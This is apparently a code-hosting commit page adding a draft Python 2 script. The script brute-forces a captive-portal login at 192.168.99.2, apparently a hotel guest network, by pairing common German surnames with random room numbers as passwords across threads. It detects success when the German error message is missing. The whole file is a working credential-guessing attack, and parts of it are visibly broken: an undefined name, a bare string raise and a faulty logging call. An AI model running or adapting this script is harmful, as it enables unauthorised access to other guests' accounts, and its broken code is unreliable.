Commits

Tobias Mueller  committed d4807e1 Draft

initial version

  • Participants

Comments (0)

Files changed (1)

+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+from functools import partial
+import logging
+from Queue import Queue
+from random import randint
+from threading import Thread
+
+import futures
+import mechanize
+
+url = 'http://192.168.99.2/ServiceSelection.aspx'
+
+names = (
+    'Muth', 'Liebchen', 'Kahler',
+    'Müller', 'Mueller', 
+    'Meyer',    'Meier',
+    'Schmidt', 'Schmid', 'Schmit',
+    'Schroeder', 'Schröder',
+    'Schulze', 'Schulz', 'Schultz',
+    'Schneider',
+    'Kohl', 
+    )
+
+def rooms(start=100, end=999):
+    while True:
+        nr = randint(start, end)
+        yield nr
+        pass
+
+def roomss():
+    #rooms = xrange(100, 9999)
+    return [320, 346, 350]
+    #return rooms
+
+
+def try_credentials(username, password):
+    logging.debug('Trying %s:%s' %(username, password))
+    data = {
+        'Service': '1',
+        'username': username,
+        'password': password,
+    }
+    #testurl = 'http://gmx.de'
+    m = mechanize.ParseResponse(mechanize.urlopen(url))
+    form = m[0]
+    form.set_all_readonly(False)
+    form['username'] = username
+    #form['Service'] = '1'
+    form['password'] = password
+    
+    
+    request = form.click()
+    data = mechanize.urlopen(request).read()
+    
+    needle = 'Falscher Benutzername oder falsches Kennwort!'
+    if needle in data:
+        ret = False
+    else:
+        ret = True
+        logging.debug("%s", data)
+        
+    return (ret, data)
+
+running = True
+def check_result(name, pw, future):
+    # This global variable is crap...
+    global running
+    result, data = future.result()
+    logging.debug('check'*60, 'result for %s %s %s', name, pw, result)
+    
+    if result == True:
+        print 'FOUND', name, pw
+        logging.warning("FOUND: %s %s", name, pw)
+        logging.debug("website: %s", data)
+        running = False
+        raise ValueError("%s %s" % (name, pw))
+        return name, pw
+
+    return None
+        
+class Collector(Thread):
+    def __init__(self, pool, *args, **kwargs):
+        self.pool = pool
+        super(Collector, self).__init__(*args, **kwargs)
+
+    def run(self):
+        futures_dict = self.pool
+        try:
+            for future in futures.as_completed(futures_dict, timeout=0.01):
+                raise ""
+                name, pw = futures_dict[future]
+                print 'FOOOO', name
+                ret, data = future.result()
+                if ret == True:
+                    raise ValueError("%s %s" % (name, pw))
+            #        '''
+        except:
+            #print "fooooooooooooooo"
+            rasdj
+    
+if __name__ == '__main__':
+    from argparse import ArgumentParser, ONE_OR_MORE
+    parser = ArgumentParser()
+    parser.add_argument('--verbose', '-v', action='count', default=0)
+    parser.add_argument('--threads', type=int, default=10,
+        help='The maximum number of threads to issue HTTP requests')
+    parser.add_argument('--max-queue', type=int, default=20,
+        help='Sets the maximum number of jobs that are generated to be worked off by worker threads')
+    #parser.add_argument('--results', type=int, default=1,
+    #    help='How many results shall be fetched?')
+    #parser.add_argument('username', nargs='?', help='Try this username', default=None)
+    #parser.add_argument('password', nargs='?', help='Try this password')
+    args = parser.parse_args()
+    
+    loglevel = logging.WARNING - (args.verbose * 10)
+    logging.basicConfig(level=loglevel)
+    
+    max_queue = args.max_queue
+    max_threads = args.threads
+    
+    q = Queue(max_queue)
+    
+    logging.info('Starting with %d/%d threads', max_threads, max_queue)
+    logging.info('Loglevel %d', loglevel)
+    
+    #futures_dict = {}
+    #t = Collector(futures_dict).start()
+    with futures.ThreadPoolExecutor(max_workers=max_threads) as executor:
+        try:
+            for room in rooms():
+                for name in names:
+                    if running:
+                        pw = str(room)
+                        logging.debug('pre q')
+                        q.put('foo', timeout=5)
+                        logging.debug("%s %s", name, pw)
+                        future = executor.submit(try_credentials, name, pw)
+                        logging.debug('submitted')
+                        # Alright, this looks insane. And it is.
+                        # We basically unclog the queue and do the result check
+                        future.add_done_callback(
+                            lambda x: (q.get(), partial(check_result, name, pw)(x)))
+                        logging.debug('added callback')
+                        #futures_dict[future] = (name, pw)
+                    else:
+                        raise ValueError("How to interrupt the main thread? from a sub thread")
+                #raise  ""
+                #(done, not_done) = futures.wait(futures_dict, return_when='FIRST_COMPLETED')
+                #[futures_dict.pop(d) for d in done]
+        except Exception:
+            raise
+
+